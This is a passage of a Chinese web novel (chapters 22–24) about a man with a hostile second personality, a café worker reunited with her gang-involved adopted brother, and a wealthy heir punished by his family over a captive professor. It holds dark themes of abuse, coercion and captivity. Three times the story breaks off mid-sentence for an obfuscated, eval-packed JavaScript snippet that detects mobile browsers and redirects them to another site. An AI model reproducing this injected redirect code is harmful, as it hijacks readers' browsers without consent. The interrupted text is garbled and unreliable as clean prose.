那天开始,郁杉明白自己和曾祖爷爷一样同旁人不同,他在极少的时间里会突然毫无征兆地失控,说不上意识是清醒还是混沌地去做与他意愿完全相违的事。 他身体里住着另一个人,而且对他并不友善。 在郁杉认知中很多第二人格都对主人格有取而代之的杀意,于是他从5岁开始就不得不极为戒备那个从未谋面的自己。 他们针锋相对,他们时刻为敌。 郁寒和他观念相悖,他们似乎从不同频永远异轨,所以他从一开始就一直一直厌恶着郁寒的存在。 可就是那样一个对他满是恶意本该极端对立的副人格,在他失去一切、信念轰塌、生命接近至暗时刻的16岁,承担了他剥去的不敢面对的所有负面情绪,撑起一座壁垒,为他筑了一方犹如伊甸的精神世界。 他不杀他,他居然……不想趁机杀死他。 简直,荒谬至极。 可他们早已习惯了持刀相对。 16岁那次,是郁杉某种意义上第一次见到郁寒的样子,第一次面对面见到这个和他一模一样又截然不同的异类。 在那之前,郁杉甚至幻想过郁寒是个寄居在他意识中面容狰狞凶恶的鬼怪。 现实世界镜子所映显的面容受拘于血肉皮囊,但精神世界映射的形象只会是真我本我。 于是即使剥离了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238670|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有情绪,郁杉见到郁寒那一刹也在灵魂中种下了根深蒂固的恐惧和质疑。 他恐惧郁寒,也质疑自己。 因此他的人格意识体愈发弱小,在和郁寒的交锋中也彻底落了下乘。 郁杉精神的衰弱在18岁那年到达过顶峰,齐蹊那年为了治愈郁杉的精神状况决定出国攻读心理医学学位,自幼同行的伙伴也在人生交叉处分轨,郁杉变成真正意义上的孤身一人。 那是他最接近被郁寒杀死的一次。 但郁寒欺辱他,逼迫他,又在最后一刻狂笑着放过他。 郁寒保护他,又极端恶劣地玩弄他,郁杉真的分不清郁寒对他来说究竟是什么。 如果是他本我镜像另一边的阴暗面,为什么对他自己也能这么残忍。 是从那一次后,他和郁寒才正式结下不死不休的恨怨,虽然他们本来就该不死不休。 而后郁杉陷在了无边漫长的反抗中,他坚信没能彻底杀死他的终将被他拼死扑杀。 他一直受制,一直处于弱势,是被肆意对待的砧板鱼肉,却从来没有人格意义上的低头下跪过。 可郁寒却在那样畸形扭曲的相处方式下,生出占有他侵犯他的变质欲望,于是真正的魇梦才刚刚开始。 九年,那样漫长的时间,在短暂的人生中也不会有几个。郁杉被扯入那段回忆的思绪像是卷入了滚刀的火海深渊,他几乎被一寸寸凌迟绞亡。 原来人类对欲爱之事的开发程度已经到了难以想象的恐怖地步,而他,居然会被迫被自己亵玩。 无休无止的痛苦折没曾一度让他绝望,他险些没能正常完成在曼彻顿帝国理工大学的学业,最耻辱的是他的博士学位居然是郁寒替他拿下的。 他失败至极,又好像从未胜过。 可笑的是,郁寒将一切都推到最糟糕最不可挽回的境地后,又开始在乎他快不快乐,又开始求要他和解,求要他接纳,求要两情相悦的回应。 那对他不过是更深一层次的折磨,他只想感叹一句郁寒手段了得,如果不是他情感封闭剥离,郁寒真的能将人驯化得没了骨头。 他连作弊了,都只是和郁寒三七开。 但大概,唯独在相爱这一局上,郁寒不会有赢面。 他们只该厮杀得血肉模糊,种下的恨意绵长,又刻骨镂心。 像一对宿敌,存在的意义便是陷在永不停歇的斗争中。 可郁寒居然会爱他,多飘渺虚无又讽刺的字眼,让一个处于绝对上位的胜利者狼狈跌倒,也让他拼凑的脊骨被碾成粉末。 他们该一起死掉的,在两年前的那个秋天。 可是郁寒要他活。 宁愿被阳谋胁迫,宁愿自己消失,宁愿他接下来的路一个人走,郁寒也要他活。 原来胜利会在天秤失衡后如此简单,他居然挣到了两年的安宁。 而这一次,大概是他们最后一轮的斗争了,或许他们会一起下地狱,又或许他能挣到从今以后永远的安宁,然后谋一个崭新的人生。 他们彼此纠缠争战的时间太长了,久到快忘记了伊始。 思绪像是一盏掌起的走马灯,远久的记忆从偏僻角隅处被翻拽出来,然后逐渐褪色,直到彻底灰暗,直到再不会记得。 郁杉恍惚意识到,似乎有什么随着散去的过往,在从他灵魂中彻底剥离。 22. 猫咪咖啡店 A大校门外商业街的拐角处有一间猫咪主题的咖啡厅。 池鱼穿着一身棕咖拼色的工作服,正低头给客人点单。这件猫咖是以前帮过她的一个学姐家里开的,她大一到大三时一直有在这里做兼职,现在实习了也会挑着轮休的几天来店里帮忙。 靠门口些的猫爬架上一只舔着爪子的金渐层突然浑身毛发炸起,在有学生进来的瞬间从自动开合的玻璃门飞速窜了出去。 “元宝!”池鱼焦急地叫了一声,她跟旁边的店长招呼了一声,急匆匆地追了出去。 店里的猫大多时都很温顺,一般不会这样没有理由地乱跑乱窜。池鱼看到元宝小小的橘色身影横穿过车辆疾行的马路时,心都快提到了嗓子眼上。 马路的另一头,一个穿着黑色卫衣戴着棒球帽的男生弯下腰,轻易抓住了乱跑的元宝。 他将元宝抱在怀里,站起身,往下扯了扯棒球帽的帽沿,让人远远地看不清他的模样。 路口的红绿灯由红跳绿,池鱼看到对面那个身影有些熟悉的男生朝她走了过来。 “元宝果然还是一如既往地记仇,我只是刚才路过橱窗的时候朝它竖了下中指,它就一路追到马路对面。”男生一只手抚摸般扣按住元宝的脖子,他带着几分笑的声音很青稚,像是隔壁七中的高中生。 池鱼刚想伸手去抱元宝的手蓦地顿了下,她以为自己又犯臆症,出现了幻觉。 她猛得抬头,直直对上那双曾经饱含孺慕依恋的眼睛,池鱼滑到嘴边正要道谢的话变成了激动惊疑的问句:“程絮?” 程絮轻嗯了一声,他掩下眼中疲惫的郁戾,笑着叫了声:“姐姐。” 回过神的池鱼变了脸色,她对着程絮抬手就是一耳光:“你还知道回来!” 程絮被扇得侧了侧脸,路过的人都吓了一跳,避得远远地围观着,程絮却只眉眼低顺一言不发地承着池鱼的怒火。 池鱼上手揪住程絮的耳朵往店里拽,厉声喝斥:“长本事了!敢一声不吭失踪两年,你眼里还有我这个姐姐吗?” 程絮如今比池鱼高了一整个头,现在却躬着腰任池鱼教训小孩儿般撕耳朵。 他讨饶地说:“姐姐,疼……” 来店里的学生大多都认识池鱼,有个男生看热闹般笑问了句:“池学姐,这是?” 池鱼在店里四年可一直都是温柔可爱亲和力极强的暖心姐姐模样,常来店里的学生几乎从未见过她发这么大脾气。 池鱼把程絮摁坐在吧台旁的座位上,然后将闹腾的元宝关进了笼子。 她像是怕极了程絮一转眼又不见了,紧紧守着程絮,冷声回道:“这我那不成器的大一就缀学闹失踪的弟弟。” “学姐家里还有个弟弟啊,都没怎么听你提起过。”那男生扶了扶眼镜,目光落在了程絮身上,像是在打量什么不良少年。 两人视线相交了一瞬,程絮阴翳的眼神像是吐信的毒蛇散发着攻击的危险讯号,那男生被盯得不寒而颤,悻悻地低下头,想用面前的笔电屏幕挡隔住程絮的视线。 池鱼见方才还谈笑的男生突然变了脸色,她侧身挡在了程絮跟前,警告地盯着自家暗戳戳吓人的坏小孩,训斥道:“你安分点,别扰了店里生意,乖乖坐这儿等我下班。” 吧台里侧的另一名女生朝程絮递了杯蓝山咖啡过来:“小弟弟,要加奶吗?” “清咖就好,谢谢。”程絮伸手客气地接过咖啡道谢,他乖顺礼貌的样子相当讨人喜欢。 池鱼目光却落在了程絮手上指骨间的於紫处,她皱紧眉:“又和人打架了是吗?” 程絮下意识缩了缩手藏掩在衣袖里,他脸上扯出笑容,解释着:“没有,刚刚元宝挠的。” 池鱼看着程絮睁着眼睛说瞎话,沉默了一瞬,没有追问,只是从衣兜里翻出几片玉桂狗图案的创可贴。 程絮明显怔了一下,他脸上遮掩的答容真切了几分,眼睛亮了亮:“姐姐现在还是随身带着创可贴啊。” 池鱼掩过眼中的复杂,她强行拉过程絮缩藏在衣袖里的手,将创可贴轻柔地贴在伤口处。 她鼻子有些发酸地吸了吸气,突然猛得将程絮衣袖往上捋了捋——池鱼看到程絮纤白的胳膊上尽是皮鞭鞭打后留下的於痕,手肘处还有两道棍棒重击落下的青紫印。 吧台里侧的女生离得近,她看到程絮身上明显被虐待殴打的痕迹惊叫了一声:“天呐!你经历了什么,需要帮你报警吗?!” “不用。”程絮神色异变,冷淡地回绝。 他想抽回手,滚烫的眼泪却滴在了他的手臂上,湿咸的泪水浸进伤痕,将麻木沉疴的伤痛唤醒。 程絮方才的冷漠冰寒一闪而没,他瞬间敛下所有情绪,目光干净地对上池鱼湿红的眼睛,轻声说:“姐姐,我好疼。” 池鱼心脏颤了颤,她不顾周围人聚集交错的目光,将程絮紧紧抱在怀里。 池鱼哑声说:“小絮,对不起,我那个时候……没有说不要你了的意思。” 世界寂静,程絮听到了池鱼的心跳声,他低低地应了一声:“嗯。” 一只在橱窗边睡了许久的布偶猫突然跳到吧台上,它低头在程絮身上嗅了嗅,然后安抚讨好的去蹭池鱼搂着程絮的手。 点单台旁的店长小姐姐将纸巾递给池鱼,神色凝重地说:“小鱼,下午的班我叫顾婷过来顶一下,你和你弟弟先回家吧……有什么事,还是建议报一下警。” “我没事的,姐姐你先去忙吧。”程絮从池鱼怀抱中脱离开,将袖子拉下来遮住衣臂上狰狞的於伤。 身后吧台上的布偶猫窜到程絮腿上打了个滚,朝池鱼卖着萌,程絮把布偶滚乱的毛发捋顺,笑着说:“你看,公主在跟你撒娇呢,它在叫你别不开心了。” 池鱼不知道是该拉着程絮的手立刻回家还是先让自己冷静一下。 程絮的面容被她眼眶中的泪水模糊,池鱼生出一种不真切的感觉来,她缓了缓神,不放心地说:“那你乖一点,坐这儿别乱跑。” “我不乱跑。”程絮乖顺地应着,他抬手帮池鱼轻轻擦去眼泪,指腹上的薄茧磨得池鱼下意识闭紧了眼。 衣兜里的手机突然振动,程絮看了眼来电备注,神色微变,起身就要走。 “你去哪儿?”池鱼一把拉住了程絮的手,她指尖冰凉,微不可觉地发着抖。 池鱼在程絮面前摆出训斥的强势架子,但她脸上未干的泪渍还是让人瞧出几分脆弱慌张来。 “我出去接个电话。”被拽住的程絮身子微僵地解释道。 手机里的震动颤得程絮心焦,但他不敢掐掉石泽毅的电话,也不敢在池鱼面前接。 他早上陪石泽毅将宗寰押回宗家后,石泽毅突然让他来大学城这边的地下赌场处理昨晚寻衅滋事的几个新面孔。往日这些琐碎事情轮不着他做,程絮知道石泽毅有几分敲打他的意思。 他不想给池鱼带来麻烦,也害怕让她知道他这些年都做了些什么恶事。 程絮目光低敛着,呼吸微窒,他只希望……他那些恶臭流脓的伤疤能永远掩在玉桂狗的创口贴下。 短暂地僵持后,池鱼还是松开了手,她看着程絮向咖啡店外走的背影,甚至有那么一瞬间生出了按下吧台的门禁急锁开关将人强行留困住的冲动。 池鱼强压下一切情绪,面色平静地走进了洗手间,直到凉水泼到脸上的那一刻,她急速跳动的心脏才稍微冷静下来。 胸襟里坠着的桃木锦鲤因为俯身的原因露了出来,吊坠被水打湿,池鱼看着镜子,将它攥握在手心。 一瞬间无数回忆掠过脑海,池鱼目光闪烁,将手心掐得生疼。 视线模糊又清晰,最后镜中凝聚出的是一双目光坚定的深棕色眼睛。 “小絮……”池鱼喃喃地念着程絮的名字,像是想将心脏因曾经的分离而割裂出的缺口填平。 她知道自己又有犯病的征兆,但是根本无法遏制脑海中的回想。 身周的世界恍惚,镜中面色苍白到血色尽失的人影嘴唇翕张,像是在说些什么,池鱼捂着顿痛的头,她此刻除了自己的心跳外什么也听不见。 心脏一阵接一阵绞痛,她慌乱地翻找着包里的白色药片,包在纸巾里的药片散在洗盥台上,连带着从包里掉出的还有一个黑色u盘。 池鱼眼前出现重影和幻像,她胡乱抓住台面上的药片吞下,陷些将u盘混着药片一起干咽进喉中。 池鱼一阵反胃地干咽后扶着洗盥台大口大口喘气,她原本精致元气的眼妆有些花了,纤长的眼睫末端还坠着两滴晕开了眼睫膏的灰浊泪珠。 憔悴而狼狈。 幻听和幻视的症状从程絮缀学失踪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238671|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后就愈发严重,她在齐蹊眼下做事,为了不暴露自己情绪的异常,她总是吞服大量的精神抑制药物。 但医者难自医,池鱼知道程絮是她永远的心病。 等情绪近乎失控的的悸然缓过去,池鱼深吸一口气,拿出化妆包开始补妆,只是她描眼线的时候手一次又一次地发抖。 从洗手间里走出来已经是半个小时后了,池鱼脸上妆容精致,除了过于病白的面色将日常的妆容衬得格外浓艳外,瞧不出任何异常。 差不多到中午放学时间了,店里变忙了些,陆陆续续有客人进来,有不少还是被坐在窗边抱着布偶猫的程絮吸引进来的。 接完电话回来的程絮没看到池鱼,便安安静静地坐到了角落的位置。 程絮的脸长得极为出挑,远远看上去身上又好像自带一种沉淀住的忧郁气质,他怀里抱着猫时有那种很容易让人母爱泛滥的特殊吸引力。 甚至有几个女生大着胆子上去搭讪,问他要联系方式,问他可不可以合照。 他明明只是安安静静地坐在那里,却像一株花枝招展的桃花树。 点单台旁的店长捂嘴偷笑,趁着换打单机标签纸的短暂间隙,她和旁边磨咖啡磨到手都快断了的女生调侃了几句:“让池鱼叫这小弟弟以后多来店里坐坐,我给他一张终身咖啡免单的vip卡。” 池鱼走到吧台的时候,刚好听到程絮礼貌地拒绝了两个求要联系方式的女生。 程絮声音疏远客气:“不好意思,我有喜欢的人了。” 视线捕捉到池鱼出现时,程絮身上的低沉忧郁瞬间褪去,他朝着池鱼露出一个笑容,朝气明朗到晃人眼睛。 “不是,你这变脸速度要不要这么快啊。”那两个女生顺着程絮的目光望了过去,她们打趣地说,“原来是败倒在了池鱼学姐的石榴裙下,那小弟弟你得加油啊,你竞争对手超级多的哦。” 程絮敛了敛目光,掩下听到这句话后眼中一闪而过的戾气。 店里已经排起了长龙,人群遮掩了程絮大半的身影,池鱼看到吧台里的两人忙得飞起,她没能顾得上程絮,几秒便切进了工作状态。 又或许是她有意不敢和程絮对视,她在心中害怕,害怕刚收拾好的情绪瞬间决堤。 被忽视冷落的程絮低头看了看手上的玉桂狗创口贴,他指节扣住突然挣扎的公主的后颈,将它紧紧圈在怀里。 公主像是敏锐地察觉到程絮情绪的低落和失常,它犹豫了一下,僵硬讨好地用头轻轻蹭着程絮的胳膊。 胃有些疼,他从前天晚上就没再摄入食物,到现在为止只喝了方才那杯咖啡,程絮头伏抵在咖啡桌上,神色难得露出几分虚弱来。 可他的虚弱并没能搏得池鱼的关注,开了静音的手机屏幕再次亮起,程絮瞥了一眼,面色愈加难看。 因为方才程絮的多次拒绝,那些远远关注他的女生也没敢再上前。 没有人知道他此时掩藏的狼狈,他就像是一株被遗忘忽视在角落里暗自凋枯的小草。 胃里反刍着酸水,像是连同前夜里那股腥浊的奶臭味也反涌了上来,程絮眉头紧拧,冰冷的手因为克制情绪而不自觉收紧。 被弄痛的公主发出尖锐的喵叫,它爪子扑挠上程絮的手,拼命挣扎着。 这声响引得不少人侧目,池鱼这才注意到程絮有些异样,但她跟前抱着公文包的男人似乎很赶时间,一直催促着她点单,池鱼完全走不开身。 人流又多了起来,一个扎着飒气高马尾的女生抱着课本急急地跑进了店,她喊了声:“店长,池姐。” “顾婷来了,小鱼你先去看看你弟弟吧。”刚做好一杯美式清咖的店长拍拍池鱼的肩膀,示意她提前下班。 排着队的客人还在催促,顾婷放下包和课本,将棕咖拼色的店员围裙往身上一套,动作迅速地进吧台接了池鱼的位置。 离开吧台的池鱼心绪空落而酸涩地怔了一会儿,她缓了缓神才去找程絮。 但池鱼却只被突然跳窜出来的公主扑了个满怀,而先前程絮坐的位置已经被新来的客人占了。 池鱼心脏微微一窒。 追到店门外的池鱼依旧没看到程絮,她突然无比后悔起先前一念之差的逃避。 这座城市太大了,与挂念的人擦肩而过后,也许就再也找寻不到他的身影。 23. 管教与求饶 池鱼站在路口很久很久,微寒的秋风吹得她病白的脸有些僵,有许多大学城下课的学生路过看了她一眼,猜测同情地议论两句又与她错身而过。 身周的人流像匆匆掠过的虚影,世界空茫,切割出孤寂的灵魂在喧闹的幻像中回荡。 还好天空蔚蓝宁静,池鱼高仰起头将眼眶中盈着的泪水逼回,她哑着嗓子骂了声:“……只会骗人的小兔崽子。” 出神的池鱼突然身子一僵,有人从身后圈抱住了她。 池鱼下意识胳膊向后一记极重的肘击,但那单薄的胸膛肌肉坚硬而有力,她学的那些女子防身术没能让她挣脱身后人的桎梏。 身后的人闷哼了一声,低头伏在池鱼耳边轻声说:“是我,姐姐……你的小兔崽子。” 池鱼被程絮转过身,搂抱的姿势变成了相拥,程絮用头轻蹭着池鱼的脖子,他其实已经有些站不稳身子了。 低血糖的程絮感觉自己浑身血液冰凉,他迫切地想得到一个拥抱,池鱼没给予他关注,他便只能自己来索要回血的糖果。 午后的阳光在秋寒的日子里将相拥的两人照暖,程絮快凝窒的心跳一点点恢复跳动,他不知魇足地想索要一个吻,却在看到池鱼满脸的眼泪时止住了僭越的欲望。 “姐姐,别哭。”程絮抬手去擦池鱼的眼泪。 “小絮,别再突然消失了。”池鱼还没能从刚才的慌悸和此刻珍宝失而复得的窃喜中回过神来,她失态地紧抓着程絮的手,“求你了,乖一点,跟我回家去好不好。” “好。”程絮的声音很轻,轻得在喧闹的街道上听不真切。 程絮几乎快昏倒在池鱼身上的前一瞬,池鱼的电话铃响了。 接通后对面传来的是个年轻男子的声音,那语气极为熟络亲昵,程絮刚活过来的心脏又瞬间拧在了一起,抽搐窒息地疼痛。 “姐姐。”程絮闹脾气似的一遍又一遍地喊着池鱼,“姐姐,姐姐……” 电话对面的李铮声音微顿,没再和池鱼熟络地寒暄,他语气有一点诧异:“小鱼你今天还在咖啡店吗?” “在店里,李哥有什么事吗?”池鱼声音有一些沙哑,但情绪已经平缓下来许多。 李铮在开车,他电话这边的汽车鸣笛声很吵闹,便只能压下疑惑直切主题:“我今天有事走不开,你可以晚些时候抽时间帮我去市医院领一下治齐蹊院长胃伤的药吗?” 池鱼握了握手机,李铮帮过她很多忙,即使她现在只满心想将她家不乖的弟弟带回家关起来,她也不太方便拒绝李铮的请求。 而且,齐蹊的胃药…… “小事一件,李哥放心交给我吧。”池鱼目光闪烁,她安抚地揉着程絮的头,语气故作轻松地将事情应下来。 挂断电话后池鱼才发现程絮几乎是半昏迷地靠在她了肩上,她扶起程絮慌乱地询问:“怎么了?哪里不舒服?” 程絮握紧手机,半阖的眼冷冷地瞥了眼路口斜对面电线杆旁的身影,他贴在池鱼耳边轻声说:“姐姐,我想回家。” “先去医院,顺便把你身上的伤都看看。”池鱼拧了下眉,余光顺着程絮的视角瞥了过去,她压了压声音,“你惹了什么人?有人在跟着你?” “没事,几个小喽喽罢了。”程絮平静地回答,刚说完程絮就整个人下滑,软趴趴地倒在了池鱼怀里。 池鱼在路边拦了辆出租车,上车后焦急地对司机说:“师傅,去市医院,麻烦开快些。” 那司机瞧了眼后座,只回了句“安全带系好”,便一脚油门踩到了底。 …… 宗寰是被五花大绑的押回宗家主宅的,像旧时代被强掳拐卖进山的花姑娘。 早上老爷子宗震辉看到石泽毅左肩上的枪伤和被开瓢的额角时发了大怒,包金的红木拐杖直直地敲在了不成器的宗寰脊背上。 若不是石泽毅拦着劝了几句,宗寰能被老爷子当场打成残废。 他此刻端正地跪在主宅书房里“自省”,手上捆着的皮带和身上的绳子一道没解,腿上简单包扎处理过的伤口还渗着血。 身上很疼,骨头跟要散架了似的,有些跪不住的宗寰微微躬了下身子。 但下一秒实心的红木拐杖便重重地击打在了宗寰背上,宗震辉怒斥了声:“跪好。” 宗寰面色发白,强撑着挺直了身子,他早上还挣扎反抗辩解过几次,甚至还想要控诉石泽毅的恶行,现在却只咬着牙一言不发。 他以为前天晚上的事他最多也就被他爸训斥一顿,没想到石泽毅玩儿阴的,直接把事捅到了老爷子面前。 他是宗家独子,是A市上流圈子里人人攀附的太子爷,虽然从小被宠到大,要风得风要雨得雨,但和早早在家中掌权的石泽毅不同,这偌大的宗家还沦不到他说话。 宗震辉的拐杖杵了杵地板,姿态威严:“知道错哪儿了吗?” “爷爷,我……”宗寰不想认错,他假意乖顺的眉眼下掩着不服。 宗震辉一眼识破,没等宗寰说完,一沓厚重的资料便甩在了宗寰脸上:“瞧瞧你这副败犬的样子,宗家的脸都被你丢光了。” 避不开的宗寰闭了闭眼睛,散落开来的白纸纷纷扬扬,他扫了眼纸上的资料,全都是关于郁寒的信息,一天的时间足够宗家将郁寒调查个彻底。 宗寰不太好揣测老爷子气得是他对郁寒做的那些事情本身,还是他去石泽毅家抢人将这件事情闹大了丢了宗家的脸。 但大概率是后者。 宗寰心口憋着气说:“我举报带警察去石家这件事情真的是石泽毅有错在先,那畜牲强闯进我私人公寓从我床上抢的人,是他先铁了心要辱我宗家的脸。” 宗震辉恨不得一脚踹死这个兔崽子:“你玩儿人大学教授,还学那些知法犯法的二世祖把人绑回家锁着,你还有理了?” “不是玩玩,我对郁寒是认真的,而且囚禁是郁寒自愿的!从头到尾都是他引诱我故意激怒我算计我玩弄我,他可一点亏都没吃。”宗寰红着眼失去理智地解释着。 “他玩的你?”宗震辉像是听到了什么了不得的事情,他洪亮的声音再次拔高,“你、你他妈竟然还是下面那个?你居然还有脸说?” 没反应过来的宗寰明显顿了一下,愣愣地解释道:“不是,还没真睡到手呢。” “所以你为了一个男人行迹癫狂,就是想上赶着犯贱上赶着挨操?我宗家怎么出了你这么个不成器的废物?!”宗震辉气得八字胡都快翘起来了。 这误会越来越大了,上升到男人尊严问题的宗寰面色铁青:“不是的,爷爷,郁寒他是你未来孙媳妇儿,要睡也是我睡他。” 差点怒火攻心的宗震辉缓缓抒了一口气,下一秒又厉声说:“什么孙媳妇儿,就算我宗家不在乎门当户对,他这种心思不干净的人也不配进我宗家的门。” 宗寰察觉到宗震辉的态度有软化的迹象,连忙说:“他是有点小心机,但翻不起大浪,我会狠下心来驯化好的,绝对不会再给宗家惹事。” “你怕是没这个机会了。”宗震辉看着宗寰那一副痴情种的模样,冷着脸说,“遇到这种事情宗家本来应该第一时间灭了那大学教授的口,是石泽毅亲口说想把人要过去才保下的,他用你手上流出去的那些视频录像做的交换。” “可郁寒不是被齐蹊带走了吗?”听到这话宗寰难以置信地呢喃。 而后他慌不择言地说,“爷爷,我是真的喜欢郁寒,你别把他送给别人,石泽毅、石泽毅就是个畜生,你不是总说我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238672|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学坏吗?都是他教的,他会把郁寒折磨死的!” 石泽毅绝对不是喜欢郁寒,最多是勾起了玩弄的兴趣,以为郁寒重新落在石泽毅手上的宗寰担心郁寒会遭遇什么非人的折辱,论起玩辱人的手段石泽毅那简直是个不可理喻的变态。 宗震辉眉头皱紧,拐杖重重的击地:“石泽毅就是个有娘生没娘养的野种,而且石家现在他掌权,你跟着他那种没人教养的人学坏,他敢杀人你也敢吗?!” “爷爷!”和老爷子对话重点总是不在一条线上的宗寰快被逼哭了。 缚在他身上的绳索让他像个低声下气的囚犯,他毫无尊严地乞求着,“我知道错了,我真的知道错了,求求你了,把郁寒还给我吧,别把他送给石泽毅。” 宗寰一直被宗家所有人捧在心尖尖上宠着,连打骂管教的次数都屈指可数,宗震辉见过太多宗寰骄纵不驯的模样,却是头一遭见宗寰这么卑微的样子。 简直,简直不像是他宗家的种! 本来宗震辉看到宗寰为了一个男人把自己搞得灰头土脸的狼狈样子就已经够气了,此刻看着宗寰毫无骨气的卑贱样子,气得举起拐杖就往宗寰背上打。 宗寰闷哼了几声,一言不发地忍着打骂,但他本来就伤上加伤,面上几乎快没有血色,一下又一下的杖打让他再直不起勉强挺立的腰身。 等宗震辉泄了几分怒气,几乎将嘴中都咬出血来的宗寰再次说:“爷爷,我跟着爸去S市接那边的子公司,一定把新娱乐公司的业务全部开拓起来,一年之内的成绩不会低于50个亿。” “你把郁寒还给我,把他身份洗掉,你不愿意我领他过门,你就当我养了个玩宠,我把他关在身边不会有事的。” “你还敢跟我谈条件?”宗震辉气得拐杖都快拿不稳了,“看来那姓郁的大学教授确实是个狐狸媚子,你和石泽毅竟然都着了他的魔,一个两个被个男人迷得五魂三道的。” “爸,别给气坏了身子。”刚忙完从公司赶回家中的宗翰宇急匆匆地赶来书房,正好撞见宗震辉被气到手抖的模样,他上前搀了老爷子一把。 一名装扮贵气的女妇人也紧随其后的来了老爷子的书房,她进门第一时间就看到了绑跪在地上红着眼的宗寰,她哭着就去解宗寰身上的绳子:“幺儿啊……” Zora是连夜从国外的时装设计展赶回来的,她这辈子都没见几次她儿子哭,简直心疼极了。 宗翰宇拍着老爷子的背给老爷子顺气,他看着地上的母子俩,皱着眉说:“Zora,好好管管你儿子。” 听到宗翰宇的训斥后Zora气不打一处来:“你这话说的,阿寰难道就不是你儿子了吗?阿寰犯了错好好跟他说就是了呀,犯得着捆起来又罚跪又打骂的吗?” “你们这哪里是管教?你们这就是家暴!” “妈……我要郁寒,我就只要他。”被松开束缚的宗寰突然拉住Zora的胳膊,他像是小时候撒娇求着心爱的玩具一样,但发红湿润的眼中却带着破碎感和极重的希冀。 Zora一瞬间心都快化了,她满口答应:“好,阿寰不哭,你要谁妈都给你找过来。” 从刚才的震怒缓过来的宗震辉看着儿媳不问原由一味溺宠的模样,怒斥着:“Zora,再宠,这孩子就要被你宠废了!” 宗寰眼中强忍着的泪终于夺眶而出,在事关郁寒的生死面前,他连最后一丝尊严都摒弃:“我真的错了,我以后一定乖乖的,听你们的话,好好去公司,不出去喝花酒不出去鬼混。” 宗寰声音沙哑,他喉中反涌出一股腥甜,先前殴打所致的内伤和此刻几乎攻心的郁结让他生生呕出鲜血来。 宗寰一遍又一遍地认错乞求:“求你们了,把郁寒还给我吧……” 24. 旧友重逢 出租车一路疾驰到市中心后才因为堵塞的车流放缓了车速,程絮转醒了些,他对上池鱼担忧的目光,扯出笑容:“姐姐,我没事的,只是饿着了,有点头晕。” “你在外面野的这两年,都三天两头不吃饭吗?”池鱼想责备两句,语气却重不起来,她紧紧捂着程絮冰冷的双手说,“……中心医院西门有家粥铺味道不错,一会儿给你点西芹牛肉粥。” 车已经开到了市中心医院附近,那出租车司机接了句话:“去西门得绕路,我早上从那儿过时,那里出了连环车祸,现在已经被交警封起来了。” 程絮抬眼看了看车窗外:“姐姐,我不去医院,你拿完药我们就回家吧,我想吃你下的葱花面。” 司机朝后车座递了一盒口香糖过来:“吃点糖,先缓缓。” 池鱼一边道谢一边接了过来,程絮却整个人靠在池鱼怀里,他摇了摇头推拒:“姐姐,别随便吃陌生人给的东西,会被人卖掉的。” “现在的小孩儿警惕心还挺强的。”司机笑了笑,也没再说什么,只是一个变道超车疾速拐进了医院南门。 和司机商量好回头还搭他的车,池鱼便被程絮催促地赶下车去医院拿药,见池鱼的身影走远,程絮胳膊半搭在了司机的座椅上。 “老林,给我根烟。”身体的不适让程絮极度不耐烦,他神色厌怠。 “这家长才下车三秒呢,小狼崽子就原形毕露了?”老林笑着扔了包看不出牌子的烟过来。 程絮瞧了眼,是赌场特供的烟,里面夹了些私货,抽着很烈很过瘾那种。 程絮又把烟扔了回去:“我不抽这种致瘾的慢性毒.品。” “那就忍着,我这里没有小孩抽的烟。”老林拾宝贝似的将烟收了回来,“今天西区赌场闹事的人处理干净了吗?他们不像是大学城那一片游荡的赌民,倒像是有组织的来砸场子的。” “是城西黑蛇的人,放心,翻不起大浪,拱石家的火他们纯粹是自寻绝路。”程絮语气冷漠。 大概是被程絮身上的阴郁的戾气骇住了,老林没再接话,车里安静了许久。 程絮倚着车窗捂了捂空荡的胃部,阳光被挡光玻璃隔住了,车里显得格外阴冷,他目光投向南门两侧的置景,花坛中暖白的桔梗花在风中招摇,散发悠远的清香。 思绪发散间,一个从急救部走出来的单薄身影格外眼熟,程絮微微一顿。 身体比迟顿的思绪更先做出反应,程絮下车径直朝那人走了过去,他喊了声:“徐然?” 被叫住的徐然回过身,对上远远走过来的程絮的目光,他原先如同面具的神情浮出一丝明显的诧异和惊喜。 徐然迎面笑着问:“程絮?你怎么在这儿?” “陪我姐来医院拿个药,你呢?你怎么在医院?”程絮也笑着说,“几年不见,飓风魔术团现在发展的怎么样?” 徐然身形僵硬了一瞬,面上却平静得毫无破绽:“魔术团早就散了。” 走近的程絮敏锐地皱了下眉,神色微凝:“发生了什么吗?” 